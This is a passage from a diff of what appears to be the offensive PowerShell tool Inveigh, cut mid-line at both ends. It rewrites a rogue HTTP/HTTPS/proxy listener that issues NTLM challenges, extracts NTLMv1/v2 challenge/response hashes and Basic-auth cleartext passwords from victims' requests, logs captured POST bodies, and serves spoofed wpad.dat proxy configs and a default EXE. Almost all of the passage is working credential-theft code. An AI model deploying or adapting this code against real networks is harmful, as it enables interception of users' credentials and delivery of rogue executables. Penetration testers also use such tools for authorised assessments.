$NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) + break HTTP_listener_loop + } + + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [Byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*" -or $TCP_request -like "50-4f-53-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($NBNSBruteForcePause) + { + $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + $inveigh.hostname_spoof = $true + } + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + + if($HTTPResetDelay.Count -gt 0 -and ($HTTPResetDelay | Where-Object {$HTTP_header_user_agent -match $_})) { - $HTTP_NTLM_domain_string = '' + $HTTP_reset_delay = $true + $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout + $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) + { + $HTTPNTLMESS = $true } else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + $HTTPNTLMESS = $false + } + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } + + if($TCP_request -like "50-4f-53-54*") + { + $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12) + $HTTP_POST_request_extract = $HTTP_POST_request_extract.Substring(0,$HTTP_POST_request_extract.IndexOf("-00-")) + $HTTP_POST_request_extract = $HTTP_POST_request_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_POST_request = New-Object System.String ($HTTP_POST_request_extract,0,$HTTP_POST_request_extract.Length) + + if($HTTP_POST_request_old -ne $HTTP_POST_request) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") + $inveigh.POST_request_file_queue.Add($HTTP_POST_request) + $inveigh.POST_request_list.Add($HTTP_POST_request) + + if($inveigh.file_output) + { + $inveigh.console_queue.Add("$HTTP_type POST request written to " + $inveigh.POST_request_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") + } + + } + + $HTTP_POST_request_old = $HTTP_POST_request + } + + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') + { + $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = "" + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + + if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($HTTP_source_IP) + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = "" + + if($proxy_listener) + { + + if($HTTPResponse -or $HTTPDir) + { + $HTTP_header_cache_control = 0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x6e,0x6f,0x2d,0x63,0x61,0x63,0x68,0x65,0x2c,0x20,0x6e,0x6f,0x2d,0x73,0x74,0x6f,0x72,0x65 } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) - { - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv1_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $HTTP_send = $false } } } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) - { - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv2_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - - if($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString) - } - - $inveigh.response.StatusCode = 200 - $NTLM_auth = $true - $NTLM_challenge = '' - $HTTP_raw_url_output = $true - - } - else - { - $NTLM = 'NTLM' - } - - } - elseif($authentication_header.StartsWith('Basic ')) # Thanks to @xorrior for the initial basic auth code - { - $inveigh.response.StatusCode = 200 - $Basic_auth = $true - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.cleartext_file_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.cleartext_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.request.RemoteEndpoint.Address) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - - if(($HTTPAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -match '/wpad.dat') -or $NTLM_Auth -or $Basic_auth) - { - - if($inveigh.HTTP_directory -and $inveigh.HTTP_default_EXE -and $inveigh.request.RawUrl -like '*.exe' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl))) - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) - } - elseif($inveigh.HTTP_directory) - { - - if($inveigh.HTTP_default_file -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) -and $inveigh.request.RawUrl -notmatch '/wpad.dat') - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) - } - elseif($inveigh.HTTP_default_file -and $inveigh.request.RawUrl -eq '/' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file))) - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) - } - elseif($inveigh.WPAD_response -and $inveigh.request.RawUrl -match '/wpad.dat') - { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.WPAD_response) - } else { + $HTTP_client_close = $true + } - if(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + } + elseif($HTTP_header_authorization.startswith('Basic ')) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($HTTP_header_authorization)) + $HTTP_client_close = $true + $inveigh.cleartext_file_queue.Add($cleartext_credentials) + $inveigh.cleartext_list.Add($cleartext_credentials) + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + } + + } + + if(($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $WPADAuthIgnore.Count -gt 0 -and $WPADAuth -like 'NTLM*' -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_})) -or $HTTP_client_close) + { + + if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe") + } + elseif($HTTPDir) + { + + if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat') { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif(($HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/') -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile))) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") } else { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.HTTP_response) - } + + if(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTP_request_raw_url)) + } + else + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) + } + } + + } + else + { + + if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + 